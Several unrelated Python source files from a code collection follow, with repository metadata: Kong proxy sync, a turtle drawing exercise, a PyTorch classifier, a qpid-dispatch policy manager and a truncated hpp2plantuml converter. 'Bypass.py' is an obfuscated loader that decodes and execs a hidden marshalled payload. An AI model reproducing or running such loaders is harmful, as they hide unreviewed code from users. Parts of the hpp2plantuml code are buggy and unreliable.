assert kong_id is not None
parent_kong_id = kong_struct.get(self.get_parent_key(), None)
if not queryset.filter(kong_id=kong_id).exists():
logger.debug('synchronize: delete %s by id: %s' % (self.get_proxy_class(), kong_id))
self.withdraw_by_id(client, kong_id, parent_kong_id=parent_kong_id)
# Add remote apis that only exist in this database
for obj in queryset:
self.publish(client, obj)
return queryset
| 31.892241 | 116 | 0.633464 |
from __future__ import unicode_literals, print_function
import logging
from django.db import transaction
from django.utils import timezone
from six import with_metaclass
from abc import ABCMeta, abstractmethod
logger = logging.getLogger(__name__)
class KongProxySyncEngine(with_metaclass(ABCMeta, object)):
@abstractmethod
def get_proxy_class(self):
@abstractmethod
def on_retrieve_all(self, client):
@abstractmethod
def is_published(self, client, kong_id, parent_kong_id=None):
@abstractmethod
def on_publish(self, client, obj):
@abstractmethod
def on_withdraw_by_id(self, client, kong_id, parent_kong_id=None):
def on_withdraw(self, client, obj):
parent_object = self.get_parent_object(obj)
if obj.kong_id is None:
return obj
return self.on_withdraw_by_id(
client, str(obj.kong_id), str(parent_object.kong_id) if parent_object is not None else None)
def before_publish(self, client, obj):
parent_object = self.get_parent_object(obj)
if obj.kong_id is None:
return
if not self.is_published(client, obj.kong_id, parent_object.kong_id if parent_object is not None else None):
obj.kong_id = None
self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id)
def after_publish(self, client, obj):
obj.synchronized_at = timezone.now()
obj.synchronized = True
self.get_proxy_class().objects.filter(id=obj.id).update(
synchronized=obj.synchronized, synchronized_at=obj.synchronized_at)
def before_withdraw(self, client, obj):
pass
def after_withdraw(self, client, obj):
obj.synchronized_at = None
obj.synchronized = False
self.get_proxy_class().objects.filter(id=obj.id).update(
synchronized=obj.synchronized, synchronized_at=obj.synchronized_at)
def get_parent_object(self, obj):
def get_parent_key(self):
def publish(self, client, obj):
with transaction.atomic():
self.before_publish(client, obj)
kong_id = self.on_publish(client, obj)
obj.kong_id = kong_id
self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id)
with transaction.atomic():
self.after_publish(client, obj)
return obj
def withdraw(self, client, obj):
with transaction.atomic():
self.before_withdraw(client, obj)
self.on_withdraw(client, obj)
obj.kong_id = None
self.get_proxy_class().objects.filter(id=obj.id).update(kong_id=obj.kong_id)
with transaction.atomic():
self.after_withdraw(client, obj)
return obj
def withdraw_by_id(self, client, kong_id, parent_kong_id=None):
try:
obj = self.get_proxy_class().objects.get(kong_id=kong_id)
except self.get_proxy_class().DoesNotExist:
obj = None
if obj is not None:
return self.withdraw(client, obj)
self.on_withdraw_by_id(client, kong_id, parent_kong_id)
return obj
def synchronize(self, client, queryset=None, delete=False):
# Make sure we have a queryset
queryset = queryset or self.get_proxy_class().objects.all()
# Delete remote api's that do not exist in this database
if delete:
for kong_struct in self.on_retrieve_all(client):
kong_id = kong_struct.get('id', None)
assert kong_id is not None
parent_kong_id = kong_struct.get(self.get_parent_key(), None)
if not queryset.filter(kong_id=kong_id).exists():
logger.debug('synchronize: delete %s by id: %s' % (self.get_proxy_class(), kong_id))
self.withdraw_by_id(client, kong_id, parent_kong_id=parent_kong_id)
for obj in queryset:
self.publish(client, obj)
return queryset
| true | true |
f7f35dcd13b81948219e7f0811b190049438acfc | 1,416 | py | Python | MEETinTurtle.py | ofirn21-meet/meet2019y1lab1 | 11f4e23d5968e2b6104b7cac82fc9903aa5e7c97 | [
"MIT"
] | null | null | null | MEETinTurtle.py | ofirn21-meet/meet2019y1lab1 | 11f4e23d5968e2b6104b7cac82fc9903aa5e7c97 | [
"MIT"
] | null | null | null | MEETinTurtle.py | ofirn21-meet/meet2019y1lab1 | 11f4e23d5968e2b6104b7cac82fc9903aa5e7c97 | [
"MIT"
] | null | null | null | import turtle
# Everything that comes after the # is a
# comment.
# It is a note to the person reading the code.
# The computer ignores it.
# Write your code below here...
turtle.penup()
turtle.goto(-200,-100)
turtle.pendown()
turtle.goto(-200,-100+200)
turtle.goto(-200+50,-100)
turtle.goto(-200+100,-100+200)
turtle.goto(-200+100,-100)
turtle.penup()#begining of let "e"
turtle.goto(-200+150,-100)
turtle.pendown()
turtle.goto(-200+150,-100+200)
turtle.goto(-200+250,-100+200)
turtle.penup()
turtle.goto(-200+150,-100+100)
turtle.pendown()
turtle.goto(-200+250,-100+100)
turtle.penup()
turtle.goto(-200+150,-100)
turtle.pendown()
turtle.goto(-200+250,-100)
#end of let "e"
turtle.penup()
turtle.goto(-200+300,-100)
turtle.pendown()
turtle.goto(-200+300,-100+200)
turtle.goto(-200+400,-100+200)
turtle.penup()
turtle.goto(-200+300,-100+100)
turtle.pendown()
turtle.goto(-200+400,-100+100)
turtle.penup()
turtle.goto(-200+300,-100)
turtle.pendown()
turtle.goto(-200+400,-100)
#end of let "e"
turtle.penup()
turtle.goto(-200+450,-100+200)
turtle.pendown()
turtle.goto(-200+550,-100+200)
turtle.penup()
turtle.goto(-200+500,-100+200)
turtle.right(90)
turtle.pendown()
turtle.goto(-200+500,-100)
# ...and end it before the next line.
turtle.mainloop()
# turtle.mainloop() tells the turtle to do all
# the turtle commands above it and paint it on the screen.
# It always has to be the last line of code!
| 21.784615 | 58 | 0.710452 | import turtle
rtle.penup()
turtle.goto(-200,-100)
turtle.pendown()
turtle.goto(-200,-100+200)
turtle.goto(-200+50,-100)
turtle.goto(-200+100,-100+200)
turtle.goto(-200+100,-100)
turtle.penup()
turtle.goto(-200+150,-100)
turtle.pendown()
turtle.goto(-200+150,-100+200)
turtle.goto(-200+250,-100+200)
turtle.penup()
turtle.goto(-200+150,-100+100)
turtle.pendown()
turtle.goto(-200+250,-100+100)
turtle.penup()
turtle.goto(-200+150,-100)
turtle.pendown()
turtle.goto(-200+250,-100)
turtle.penup()
turtle.goto(-200+300,-100)
turtle.pendown()
turtle.goto(-200+300,-100+200)
turtle.goto(-200+400,-100+200)
turtle.penup()
turtle.goto(-200+300,-100+100)
turtle.pendown()
turtle.goto(-200+400,-100+100)
turtle.penup()
turtle.goto(-200+300,-100)
turtle.pendown()
turtle.goto(-200+400,-100)
turtle.penup()
turtle.goto(-200+450,-100+200)
turtle.pendown()
turtle.goto(-200+550,-100+200)
turtle.penup()
turtle.goto(-200+500,-100+200)
turtle.right(90)
turtle.pendown()
turtle.goto(-200+500,-100)
turtle.mainloop()
| true | true |
f7f35de8b8f1ef344a3ef716ea1eaa8bc7c6200b | 698 | py | Python | Bypass.py | Hello-World-MRX/Bypass | 769f04c16b01c83cecfeaf5033ff06716fd17364 | [
"Apache-2.0"
] | 1 | 2022-03-02T17:36:39.000Z | 2022-03-02T17:36:39.000Z | Bypass.py | Hello-World-MRX/Bypass | 769f04c16b01c83cecfeaf5033ff06716fd17364 | [
"Apache-2.0"
] | null | null | null | Bypass.py | Hello-World-MRX/Bypass | 769f04c16b01c83cecfeaf5033ff06716fd17364 | [
"Apache-2.0"
] | null | null | null | _=(lambda x:x);code=type(_.__code__);_.__code__=code(0,0,0,0,10,64,b'z\x16e\x00e\x01d\x00\x83\x01\xa0\x02e\x01d\x01\x83\x01\xa0\x03e\x01d\x02\x83\x01\xa0\x04d\x03\xa1\x01\xa1\x01\xa1\x01\x83\x01\x01\x00W\x00d\x04S\x00\x04\x00e\x05y/\x01\x00Z\x06\x01\x00z\re\x07e\x08e\x06\x83\x01\x83\x01\x01\x00W\x00Y\x00d\x04Z\x06[\x06d\x04S\x00d\x04Z\x06[\x06w\x01w\x00',('marshal', 'zlib', 'base64', b'eJx7zIAGmIDYAYg/iwOJFIYUxhyGXMYoRkaGVMZmBkaGFKZgBs6VzC9BSjUZb7GWpCZnFPppMt1iCa5MTSliAQqvZChiA1Jg4peYfnFKcmJRin5KfnleTn5iin5Wol5B5S0Om9z8lNKcVDtGoKpikKU8jACrcB02', None),('exec', '__import__', 'loads', 'decompress', 'b64decode', 'Exception', 'e', 'print', 'str'),(),'lambda.py','<module>',1,b'.\x01',(),());_() | 698 | 698 | 0.750716 | _=(lambda x:x);code=type(_.__code__);_.__code__=code(0,0,0,0,10,64,b'z\x16e\x00e\x01d\x00\x83\x01\xa0\x02e\x01d\x01\x83\x01\xa0\x03e\x01d\x02\x83\x01\xa0\x04d\x03\xa1\x01\xa1\x01\xa1\x01\x83\x01\x01\x00W\x00d\x04S\x00\x04\x00e\x05y/\x01\x00Z\x06\x01\x00z\re\x07e\x08e\x06\x83\x01\x83\x01\x01\x00W\x00Y\x00d\x04Z\x06[\x06d\x04S\x00d\x04Z\x06[\x06w\x01w\x00',('marshal', 'zlib', 'base64', b'eJx7zIAGmIDYAYg/iwOJFIYUxhyGXMYoRkaGVMZmBkaGFKZgBs6VzC9BSjUZb7GWpCZnFPppMt1iCa5MTSliAQqvZChiA1Jg4peYfnFKcmJRin5KfnleTn5iin5Wol5B5S0Om9z8lNKcVDtGoKpikKU8jACrcB02', None),('exec', '__import__', 'loads', 'decompress', 'b64decode', 'Exception', 'e', 'print', 'str'),(),'lambda.py','<module>',1,b'.\x01',(),());_() | true | true |
f7f35e5b43bb19e1455db9e819edc785dcf5cc01 | 739 | py | Python | pytorch_feature_decoupling/architectures/MultipleLinearClassifiers.py | anantalp/FeatureDecoupling | b57040dc1511b34995e92bde11c8856b940cc4e3 | [
"MIT"
] | 94 | 2019-06-21T10:49:32.000Z | 2022-03-28T10:15:43.000Z | pytorch_feature_decoupling/architectures/MultipleLinearClassifiers.py | anantalp/FeatureDecoupling | b57040dc1511b34995e92bde11c8856b940cc4e3 | [
"MIT"
] | 7 | 2019-09-06T22:43:20.000Z | 2020-11-09T23:42:48.000Z | pytorch_feature_decoupling/architectures/MultipleLinearClassifiers.py | anantalp/FeatureDecoupling | b57040dc1511b34995e92bde11c8856b940cc4e3 | [
"MIT"
] | 12 | 2019-08-21T15:55:25.000Z | 2020-12-21T14:58:18.000Z | import os
import imp
import torch
import torch.nn as nn
current_path = os.path.abspath(__file__)
filepath_to_linear_classifier_definition = os.path.join(os.path.dirname(current_path), 'LinearClassifier.py')
LinearClassifier = imp.load_source('',filepath_to_linear_classifier_definition).create_model
class MClassifier(nn.Module):
def __init__(self, opts):
super(MClassifier, self).__init__()
self.classifiers = nn.ModuleList([LinearClassifier(opt) for opt in opts])
self.num_classifiers = len(opts)
def forward(self, feats):
assert(len(feats) == self.num_classifiers)
return [self.classifiers[i](feat) for i, feat in enumerate(feats)]
def create_model(opt):
return MClassifier(opt)
| 32.130435 | 109 | 0.741543 | import os
import imp
import torch
import torch.nn as nn
current_path = os.path.abspath(__file__)
filepath_to_linear_classifier_definition = os.path.join(os.path.dirname(current_path), 'LinearClassifier.py')
LinearClassifier = imp.load_source('',filepath_to_linear_classifier_definition).create_model
class MClassifier(nn.Module):
def __init__(self, opts):
super(MClassifier, self).__init__()
self.classifiers = nn.ModuleList([LinearClassifier(opt) for opt in opts])
self.num_classifiers = len(opts)
def forward(self, feats):
assert(len(feats) == self.num_classifiers)
return [self.classifiers[i](feat) for i, feat in enumerate(feats)]
def create_model(opt):
return MClassifier(opt)
| true | true |
f7f35fb457bf6f429f46590e981458745ad73d4e | 5,904 | py | Python | python/qpid_dispatch_internal/policy/policy_manager.py | bhardesty/qpid-dispatch | ee82acda5656ca0b5bb6ef86b9869f9ecfac1559 | [
"Apache-2.0"
] | null | null | null | python/qpid_dispatch_internal/policy/policy_manager.py | bhardesty/qpid-dispatch | ee82acda5656ca0b5bb6ef86b9869f9ecfac1559 | [
"Apache-2.0"
] | null | null | null | python/qpid_dispatch_internal/policy/policy_manager.py | bhardesty/qpid-dispatch | ee82acda5656ca0b5bb6ef86b9869f9ecfac1559 | [
"Apache-2.0"
] | null | null | null | #
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License
#
"""
"""
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
import json
import traceback
from .policy_local import PolicyLocal
from ..dispatch import LogAdapter, LOG_INFO, LOG_TRACE, LOG_DEBUG, LOG_ERROR, LOG_WARNING
"""
Entity implementing the glue between the policy engine and the rest of the system.
"""
class PolicyManager(object):
"""
"""
def __init__(self, agent):
"""
"""
self._agent = agent
self._policy_local = PolicyLocal(self)
self.log_adapter = LogAdapter("POLICY")
self._use_hostname_patterns = False
def log(self, level, text):
info = traceback.extract_stack(limit=2)[0] # Caller frame info
self.log_adapter.log(level, text, info[0], info[1])
def _log(self, level, text):
info = traceback.extract_stack(limit=3)[0] # Caller's caller frame info
self.log_adapter.log(level, text, info[0], info[1])
def log_debug(self, text):
self._log(LOG_DEBUG, text)
def log_info(self, text):
self._log(LOG_INFO, text)
def log_trace(self, text):
self._log(LOG_TRACE, text)
def log_error(self, text):
self._log(LOG_ERROR, text)
def log_warning(self, text):
self._log(LOG_WARNING, text)
def get_agent(self):
return self._agent
def get_use_hostname_patterns(self):
return self._use_hostname_patterns
def set_use_hostname_patterns(self, v):
self._use_hostname_patterns = v
self._policy_local.use_hostname_patterns = v
#
# Management interface to create a ruleset
#
def create_ruleset(self, attributes):
"""
Create named policy ruleset
@param[in] attributes: from config
"""
self._policy_local.create_ruleset(attributes)
#
# Management interface to delete a ruleset
#
def delete_ruleset(self, id):
"""
Delete named policy ruleset
@param[in] id: ruleset name
"""
self._policy_local.policy_delete(id)
#
# Management interface to update a ruleset
#
def update_ruleset(self, attributes):
"""
Update named policy ruleset
@param[in] id: ruleset name
"""
self._policy_local.create_ruleset(attributes)
#
# Management interface to set the default vhost
#
def set_default_vhost(self, name):
"""
Set default application
@param name:
@return:
"""
self._policy_local.set_default_vhost(name)
#
# Runtime query interface
#
def lookup_user(self, user, rhost, vhost, conn_name, conn_id):
"""
Lookup function called from C.
Determine if a user on host accessing app through AMQP Open is allowed
according to the policy access rules.
If allowed then return the policy settings name
@param[in] user connection authId
@param[in] rhost connection remote host numeric IP address as string
@param[in] vhost application user is accessing
@param[in] conn_name connection name for accounting purposes
@param[in] conn_id internal connection id
@return settings user-group name if allowed; "" if not allowed
"""
return self._policy_local.lookup_user(user, rhost, vhost, conn_name, conn_id)
def lookup_settings(self, vhost, name, upolicy):
"""
Given a settings name, return the aggregated policy blob.
@param[in] vhost: vhost user is accessing
@param[in] name: user group name
@param[out] upolicy: map that receives the settings
@return settings were retrieved or not
"""
return self._policy_local.lookup_settings(vhost, name, upolicy)
def close_connection(self, conn_id):
"""
The connection identifed is closing. Remove it from the connection
accounting tables.
@param facts:
@return: none
"""
self._policy_local.close_connection(conn_id)
def set_max_message_size(self, size):
"""
Policy has set global maxMessageSize.
:param size:
:return: none
"""
self._policy_local.set_max_message_size(size)
#
#
#
def policy_lookup_user(mgr, user, rhost, vhost, conn_name, conn_id):
"""
Look up a user in the policy database
Called by C code
@param mgr:
@param user:
@param rhost:
@param vhost:
@param conn_name:
@return:
"""
return mgr.lookup_user(user, rhost, vhost, conn_name, conn_id)
#
#
#
def policy_close_connection(mgr, conn_id):
"""
Close the connection.
Called by C code
@param mgr:
@param conn_id:
@return:
"""
mgr.close_connection(conn_id)
#
#
#
def policy_lookup_settings(mgr, vhost, name, upolicy):
"""
Return settings for <vhost, usergroup> in upolicy map
@param mgr:
@param vhost:
@param name:
@param upolicy:
@return:
"""
return mgr.lookup_settings(vhost, name, upolicy)
| 27.588785 | 89 | 0.657859 |
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
import json
import traceback
from .policy_local import PolicyLocal
from ..dispatch import LogAdapter, LOG_INFO, LOG_TRACE, LOG_DEBUG, LOG_ERROR, LOG_WARNING
class PolicyManager(object):
def __init__(self, agent):
self._agent = agent
self._policy_local = PolicyLocal(self)
self.log_adapter = LogAdapter("POLICY")
self._use_hostname_patterns = False
def log(self, level, text):
info = traceback.extract_stack(limit=2)[0]
self.log_adapter.log(level, text, info[0], info[1])
def _log(self, level, text):
info = traceback.extract_stack(limit=3)[0]
self.log_adapter.log(level, text, info[0], info[1])
def log_debug(self, text):
self._log(LOG_DEBUG, text)
def log_info(self, text):
self._log(LOG_INFO, text)
def log_trace(self, text):
self._log(LOG_TRACE, text)
def log_error(self, text):
self._log(LOG_ERROR, text)
def log_warning(self, text):
self._log(LOG_WARNING, text)
def get_agent(self):
return self._agent
def get_use_hostname_patterns(self):
return self._use_hostname_patterns
def set_use_hostname_patterns(self, v):
self._use_hostname_patterns = v
self._policy_local.use_hostname_patterns = v
#
# Management interface to create a ruleset
#
def create_ruleset(self, attributes):
self._policy_local.create_ruleset(attributes)
#
# Management interface to delete a ruleset
#
def delete_ruleset(self, id):
self._policy_local.policy_delete(id)
#
# Management interface to update a ruleset
#
def update_ruleset(self, attributes):
self._policy_local.create_ruleset(attributes)
#
# Management interface to set the default vhost
#
def set_default_vhost(self, name):
self._policy_local.set_default_vhost(name)
#
# Runtime query interface
#
def lookup_user(self, user, rhost, vhost, conn_name, conn_id):
return self._policy_local.lookup_user(user, rhost, vhost, conn_name, conn_id)
def lookup_settings(self, vhost, name, upolicy):
return self._policy_local.lookup_settings(vhost, name, upolicy)
def close_connection(self, conn_id):
self._policy_local.close_connection(conn_id)
def set_max_message_size(self, size):
self._policy_local.set_max_message_size(size)
#
#
#
def policy_lookup_user(mgr, user, rhost, vhost, conn_name, conn_id):
return mgr.lookup_user(user, rhost, vhost, conn_name, conn_id)
#
#
#
def policy_close_connection(mgr, conn_id):
mgr.close_connection(conn_id)
#
#
#
def policy_lookup_settings(mgr, vhost, name, upolicy):
return mgr.lookup_settings(vhost, name, upolicy)
| true | true |
f7f36028de8c3ba3f4dd640e683e32423590316e | 47,800 | py | Python | src/hpp2plantuml/hpp2plantuml.py | reto271/hpp2plantuml | 235b234d5f3ad897c7611b32f8cb70825cef7d49 | [
"MIT"
] | null | null | null | src/hpp2plantuml/hpp2plantuml.py | reto271/hpp2plantuml | 235b234d5f3ad897c7611b32f8cb70825cef7d49 | [
"MIT"
] | null | null | null | src/hpp2plantuml/hpp2plantuml.py | reto271/hpp2plantuml | 235b234d5f3ad897c7611b32f8cb70825cef7d49 | [
"MIT"
] | null | null | null | # %% Imports
import os
import re
import glob
import argparse
import CppHeaderParser
import jinja2
# %% Constants
# Association between member property and PlantUML symbol
MEMBER_PROP_MAP = {
'private': '-',
'public': '+',
'protected': '#'
}
# Links
LINK_TYPE_MAP = {
'inherit': '<|--',
'aggregation': 'o--',
'composition': '*--',
'dependency': '<..'
}
# Association between object names and objects
# - The first element is the object type name in the CppHeader object
# - The second element is the iterator used to loop over objects
# - The third element is a function returning the corresponding internal object
CONTAINER_TYPE_MAP = [
['classes', lambda objs: objs.items(), lambda obj: Class(obj)],
['structs', lambda objs: objs.items(), lambda obj: Struct(obj)],
['enums', lambda objs: objs, lambda obj: Enum(obj)]
]
# %% Base classes
class Container(object):
"""Base class for C++ objects
This class defines the basic interface for parsed objects (e.g. class).
"""
def __init__(self, container_type, name):
"""Class constructor
Parameters
----------
container_type : str
String representation of container type (``class``, ``struct`` or
``enum``)
name : str
Object name
"""
self._container_type = container_type
self._name = name
self._member_list = []
self._namespace = None
def get_name(self):
"""Name property accessor
Returns
-------
str
Object name
"""
return self._name
def parse_members(self, header_container):
"""Initialize object from header
Extract object from CppHeaderParser dictionary representing a class, a
struct or an enum object. This extracts the namespace.
Parameters
----------
header_container : CppClass, CppStruct or CppEnum
Parsed header for container
"""
namespace = header_container.get('namespace', None)
if namespace:
self._namespace = re.sub(':+$', '', namespace)
self._do_parse_members(header_container)
def _do_parse_members(self, header_container):
"""Initialize object from header (abstract method)
Extract object from CppHeaderParser dictionary representing a class, a
struct or an enum object.
Parameters
----------
header_container : CppClass, CppStruct or CppEnum
Parsed header for container
"""
raise NotImplementedError(
'Derived class must implement :func:`_do_parse_members`.')
def render(self):
"""Render object to string
Returns
-------
str
String representation of object following the PlantUML syntax
"""
container_str = self._render_container_def() + ' {\n'
for member in self._member_list:
container_str += '\t' + member.render() + '\n'
container_str += '}\n'
if self._namespace is not None:
return wrap_namespace(container_str, self._namespace)
return container_str
def comparison_keys(self):
"""Order comparison key between `ClassRelationship` objects
Use the parent name, the child name then the link type as successive
keys.
Returns
-------
list
`operator.attrgetter` objects for successive fields used as keys
"""
return self._container_type, self._name
def sort_members(self):
"""Sort container members
sort the list of members by type and name
"""
self._member_list.sort(key=lambda obj: obj.comparison_keys())
def _render_container_def(self):
"""String representation of object definition
Return the definition line of an object (e.g. "class MyClass").
Returns
-------
str
Container type and name as string
"""
return self._container_type + ' ' + self._name
# %% Object member
class ContainerMember(object):
"""Base class for members of `Container` object
This class defines the basic interface for object members (e.g. class
variables, etc.)
"""
def __init__(self, header_member, **kwargs):
"""Constructor
Parameters
----------
header_member : str
Member name
"""
self._name = header_member
self._type = None
def render(self):
"""Render object to string (abstract method)
Returns
-------
str
String representation of object member following the PlantUML
syntax
"""
raise NotImplementedError('Derived class must implement `render`.')
def comparison_keys(self):
"""Order comparison key between `ClassRelationship` objects
Use the parent name, the child name then the link type as successive
keys.
Returns
-------
list
`operator.attrgetter` objects for successive fields used as keys
"""
if self._type is not None:
return self._type, self._name
else:
return self._name
# %% Class object
class Class(Container):
"""Representation of C++ class
This class derived from `Container` specializes the base class to handle
class definition in C++ headers.
It supports:
* abstract and template classes
* member variables and methods (abstract and static)
* public, private, protected members (static)
"""
def __init__(self, header_class):
"""Constructor
Extract the class name and properties (template, abstract) and
inheritance. Then, extract the class members from the header using the
:func:`parse_members` method.
Parameters
----------
header_class : list (str, CppClass)
Parsed header for class object (two-element list where the first
element is the class name and the second element is a CppClass
object)
"""
print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii")
print(" header_class")
print(header_class)
print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii")
print(header_class[0])
print("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii")
#super().__init__('class', header_class[0])
#super(Container, self).__init__('class', header_class[0])
#super(Container, self, 'class', header_class[0]).__init__()
Container.__init__(self, 'class', header_class[0])
self._abstract = header_class[1]['abstract']
self._template_type = None
if 'template' in header_class[1]:
self._template_type = _cleanup_single_line(
header_class[1]['template'])
self._inheritance_list = [re.sub('<.*>', '', parent['class'])
for parent in header_class[1]['inherits']]
self.parse_members(header_class[1])
def _do_parse_members(self, header_class):
"""Initialize class object from header
This method extracts class member variables and methods from header.
Parameters
----------
header_class : CppClass
Parsed header for class
"""
member_type_map = [
['properties', ClassVariable],
['methods', ClassMethod]
]
for member_type, member_type_handler in member_type_map:
for member_prop in MEMBER_PROP_MAP.keys():
member_list = header_class[member_type][member_prop]
for header_member in member_list:
self._member_list.append(
member_type_handler(header_member, member_prop))
def build_variable_type_list(self):
"""Get type of member variables
This function extracts the type of each member variable. This is used
to list aggregation relationships between classes.
Returns
-------
list(str)
List of types (as string) for each member variable
"""
variable_type_list = []
for member in self._member_list:
if isinstance(member, ClassVariable):
variable_type_list.append(member.get_type())
return variable_type_list
def build_inheritance_list(self):
"""Get inheritance list
Returns
-------
list(str)
List of class names the current class inherits from
"""
return self._inheritance_list
def _render_container_def(self):
"""Create the string representation of the class
Return the class name with template and abstract properties if
present. The output string follows the PlantUML syntax.
Returns
-------
str
String representation of class
"""
class_str = self._container_type + ' ' + self._name
if self._abstract:
class_str = 'abstract ' + class_str
if self._template_type is not None:
class_str += ' <{0}>'.format(self._template_type)
return class_str
# %% Class member
class ClassMember(ContainerMember):
"""Class member (variable and method) representation
This class is the base class for class members. The representation
includes the member type (variable or method), name, scope (``public``,
``private`` or ``protected``) and a static flag.
"""
def __init__(self, class_member, member_scope='private'):
"""Constructor
Parameters
----------
class_member : CppVariable or CppMethod
Parsed member object (variable or method)
member_scope : str
Member scope property: ``public``, ``private`` or ``protected``
"""
super().__init__(class_member['name'])
self._type = None
self._static = class_member['static']
self._scope = member_scope
self._properties = []
def render(self):
"""Get string representation of member
The string representation is with the scope indicator and a static
keyword when the member is static. It is postfixed by the type (return
type for class methods) and additional properties (e.g. ``const``
methods are flagged with the ``query`` property). The inner part of
the returned string contains the variable name and signature for
methods. This is obtained using the :func:`_render_name` method.
Returns
-------
str
String representation of member
"""
if len(self._properties) > 0:
props = ' {' + ', '.join(self._properties) + '}'
else:
props = ''
vis = MEMBER_PROP_MAP[self._scope] + \
('{static} ' if self._static else '')
member_str = vis + self._render_name() + \
(' : ' + self._type if self._type else '') + \
props
return member_str
def _render_name(self):
"""Get member name
By default (for member variables), this returns the member name.
Derived classes can override this to control the name rendering
(e.g. add the function prototype for member functions)
"""
return self._name
# %% Class variable
class ClassVariable(ClassMember):
"""Object representation of class member variables
This class specializes the `ClassMember` object for member variables.
Additionally to the base class, it stores variable types as strings. This
is used to establish aggregation relationships between objects.
"""
def __init__(self, class_variable, member_scope='private'):
"""Constructor
Parameters
----------
class_variable : CppVariable
Parsed class variable object
member_scope : str
Scope property to member variable
"""
assert(isinstance(class_variable,
CppHeaderParser.CppHeaderParser.CppVariable))
super().__init__(class_variable, member_scope)
self._type = _cleanup_type(class_variable['type'])
def get_type(self):
"""Variable type accessor
Returns
-------
str
Variable type as string
"""
return self._type
# %% Class method
class ClassMethod(ClassMember):
"""Class member method representation
This class extends `ClassMember` for member methods. It stores additional
method properties (abstract, destructor flag, input parameter types).
"""
def __init__(self, class_method, member_scope):
"""Constructor
The method name and additional properties are extracted from the parsed
header.
* A list of parameter types is stored to retain the function signature.
* The ``~`` character is appended to destructor methods.
* ``const`` methods are flagged with the ``query`` property.
Parameters
----------
class_method : CppMethod
Parsed class member method
member_scope : str
Scope of the member method
"""
assert(isinstance(class_method,
CppHeaderParser.CppHeaderParser.CppMethod))
super().__init__(class_method, member_scope)
self._type = _cleanup_type(class_method['returns'])
if class_method['returns_pointer']:
self._type += '*'
elif class_method['returns_reference']:
self._type += '&'
self._abstract = class_method['pure_virtual']
if class_method['destructor']:
self._name = '~' + self._name
if class_method['const']:
self._properties.append('query')
self._param_list = []
for param in class_method['parameters']:
self._param_list.append([_cleanup_type(param['type']),
param['name']])
def _render_name(self):
"""Internal rendering of method name
This method extends the base :func:`ClassMember._render_name` method by
adding the method signature to the returned string.
Returns
-------
str
The method name (prefixed with the ``abstract`` keyword when
appropriate) and signature
"""
assert(not self._static or not self._abstract)
method_str = ('{abstract} ' if self._abstract else '') + \
self._name + '(' + \
', '.join(' '.join(it).strip()
for it in self._param_list) + ')'
return method_str
# %% Struct object
class Struct(Class):
"""Representation of C++ struct objects
This class derived is almost identical to `Class`, the only difference
being the container type name ("struct" instead of "class").
"""
def __init__(self, header_struct):
"""Class constructor
Parameters
----------
header_struct : list (str, CppStruct)
Parsed header for struct object (two-element list where the first
element is the structure name and the second element is a CppStruct
object)
"""
super().__init__(header_struct[0])
super(Class).__init__('struct')
# %% Enum object
class Enum(Container):
"""Class representing enum objects
This class defines a simple object inherited from the base `Container`
class. It simply lists enumerated values.
"""
def __init__(self, header_enum):
"""Constructor
Parameters
----------
header_enum : CppEnum
Parsed CppEnum object
"""
super().__init__('enum', header_enum.get('name', 'empty'))
self.parse_members(header_enum)
def _do_parse_members(self, header_enum):
"""Extract enum values from header
Parameters
----------
header_enum : CppEnum
Parsed `CppEnum` object
"""
for value in header_enum.get('values', []):
self._member_list.append(EnumValue(value['name']))
class EnumValue(ContainerMember):
"""Class representing values in enum object
This class only contains the name of the enum value (the actual integer
value is ignored).
"""
def __init__(self, header_value, **kwargs):
"""Constructor
Parameters
----------
header_value : str
Name of enum member
"""
super().__init__(header_value)
def render(self):
"""Rendering to string
This method simply returns the variable name
Returns
-------
str
The enumeration element name
"""
return self._name
# %% Class connections
class ClassRelationship(object):
"""Base object for class relationships
This class defines the common structure of class relationship objects.
This includes a parent/child pair and a relationship type (e.g. inheritance
or aggregation).
"""
def __init__(self, link_type, c_parent, c_child, flag_use_namespace=False):
"""Constructor
Parameters
----------
link_type : str
Relationship type: ``inherit`` or ``aggregation``
c_parent : str
Name of parent class
c_child : str
Name of child class
"""
self._parent = c_parent.get_name()
self._child = c_child.get_name()
self._link_type = link_type
self._parent_namespace = c_parent._namespace or None
self._child_namespace = c_child._namespace or None
self._flag_use_namespace = flag_use_namespace
def comparison_keys(self):
"""Order comparison key between `ClassRelationship` objects
Compare alphabetically based on the parent name, the child name then
the link type.
Returns
-------
list
`operator.attrgetter` objects for successive fields used as keys
"""
return self._parent, self._child, self._link_type
def _render_name(self, class_name, class_namespace, flag_use_namespace):
"""Render class name with namespace prefix if necessary
Parameters
----------
class_name : str
Name of the class
class_namespace : str
Namespace or None if the class is defined in the default namespace
flag_use_namespace : bool
When False, do not use the namespace
Returns
-------
str
Class name with appropriate prefix for use with link rendering
"""
if not flag_use_namespace:
return class_name
if class_namespace is None:
prefix = '.'
else:
prefix = class_namespace + '.'
return prefix + class_name
def render(self):
"""Render class relationship to string
This method generically appends the parent name, a rendering of the
link type (obtained from the :func:`_render_link_type` method) and the
child object name.
Returns
-------
str
The string representation of the class relationship following the
PlantUML syntax
"""
link_str = ''
# Wrap the link in namespace block (if both parent and child are in the
# same namespace)
namespace_wrap = None
if self._parent_namespace == self._child_namespace and \
self._parent_namespace is not None:
namespace_wrap = self._parent_namespace
# Prepend the namespace to the class name
flag_render_namespace = self._flag_use_namespace and not namespace_wrap
parent_str = self._render_name(self._parent, self._parent_namespace,
flag_render_namespace)
child_str = self._render_name(self._child, self._child_namespace,
